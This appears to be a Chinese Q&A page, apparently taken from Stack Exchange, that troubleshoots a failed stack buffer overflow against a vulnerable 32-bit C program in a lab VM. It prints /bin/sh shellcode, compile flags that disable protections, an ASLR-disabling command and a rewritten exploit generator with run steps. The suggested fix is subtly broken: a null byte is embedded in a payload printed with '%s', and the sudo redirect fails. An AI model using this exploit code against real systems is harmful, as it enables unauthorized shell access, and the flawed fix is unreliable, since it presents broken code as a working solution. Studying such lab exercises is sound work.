针对存在漏洞的C程序的缓冲区溢出攻击执行失败问题排查
缓冲区溢出攻击后段错误排查
漏洞程序
#include <stdio.h> #include <string.h> void foo(char * name) { char buf[128]; strcpy(buf, "The next step is... "); strcat(buf, name); strcat(buf, "."); puts(buf); } int main(int argc, char ** argv) { if (argc < 2) puts("请输入命令行参数。"); else foo(argv[1]); return 0; }
攻击代码
#include <stdio.h> #include <string.h> char shellcode[] = "\xeb\x02\xeb\x15\xe8\xf9\xff\xff\xff" "/bin/shXYYYYZZZZ\x5b\x89\x5b\x08\x31" "\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b" "\x8d\x4b\x08\x8d\x53\x0c\xcd\x80" "\x30\xf3\xff\bf"; int main() { int i; // 128字节缓冲区,20字节初始字符串,4字节旧EBP,4字节返回地址 for (i=0; i<128-20-strlen(shellcode)+4+4; i++) printf("\x90"); printf("%s", shellcode); return 0; }
漏洞程序编译命令
gcc -fno-stack-protector -z execstack -m32 -fno-pie -g -o vuln vuln.c
调试信息
通过GDB获取buf地址:
(gdb) x/xb buf 0xbffff330: 0x88
当前环境为32位Ubuntu 10.04虚拟机,i r输出的寄存器信息如下:
截图显示ESP为0xbffff32c,EBP为0xbffff3b8,EIP为0xb7e1f4d3等寄存器值
问题
执行攻击后程序触发段错误,需排查是否遗漏地址覆盖或存在操作错误。
排查分析与解决建议
1. 核心错误:未覆盖返回地址
你的攻击代码只生成了NOP滑盖和shellcode,完全没有写入要覆盖的返回地址——这是段错误的直接原因。缓冲区溢出攻击的核心是将返回地址覆盖为shellcode的起始地址,让程序执行流跳转到shellcode,而不是默认的返回地址。
2. 溢出长度计算错误
漏洞程序中strcpy(buf, "The next step is... ")的实际长度是21字节(可通过strlen("The next step is... ")验证),但你在攻击代码中按20字节计算,导致填充的NOP长度偏移,无法精准覆盖到返回地址位置。
3. Shellcode存在无效字节
你的shellcode末尾的\xff\bf是错误格式(应为\xff\xbf),无效字节会破坏shellcode的完整性,导致执行失败。
4. 可能存在ASLR干扰
Ubuntu 10.04默认开启地址空间随机化(ASLR),会导致buf地址每次运行都变化,需先关闭ASLR:
sudo echo 0 > /proc/sys/kernel/randomize_va_space
修复后的攻击代码示例
#include <stdio.h> #include <string.h> // 修正后的有效shellcode char shellcode[] = "\xeb\x02\xeb\x15\xe8\xf9\xff\xff\xff" "/bin/sh\x00\x5b\x89\x5b\x08\x31" "\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b" "\x8d\x4b\x08\x8d\x53\x0c\xcd\x80"; #define BUF_SIZE 128 #define INIT_STR_LEN 21 // 初始字符串实际长度 int main() { char payload[BUF_SIZE + 4 + 4 + sizeof(shellcode)]; int nop_len = BUF_SIZE - INIT_STR_LEN; // 填充NOP滑盖 memset(payload, 0x90, nop_len); // 覆盖旧EBP(任意值即可) *(unsigned int*)(payload + nop_len) = 0xdeadbeef; // 覆盖返回地址:指向NOP滑盖起始,确保能滑到shellcode *(unsigned int*)(payload + nop_len + 4) = 0xbffff330 + nop_len; // 复制shellcode到payload末尾 memcpy(payload + nop_len + 8, shellcode, sizeof(shellcode)); printf("%s", payload); return 0; }
验证步骤
- 关闭ASLR后,重新编译漏洞程序和攻击代码:
gcc -fno-stack-protector -z execstack -m32 -fno-pie -g -o vuln vuln.c gcc -m32 -o exploit exploit.c - 执行攻击:
./vuln $(./exploit)
内容的提问来源于stack exchange,提问作者Jan
相关产品推荐
相关产品推荐

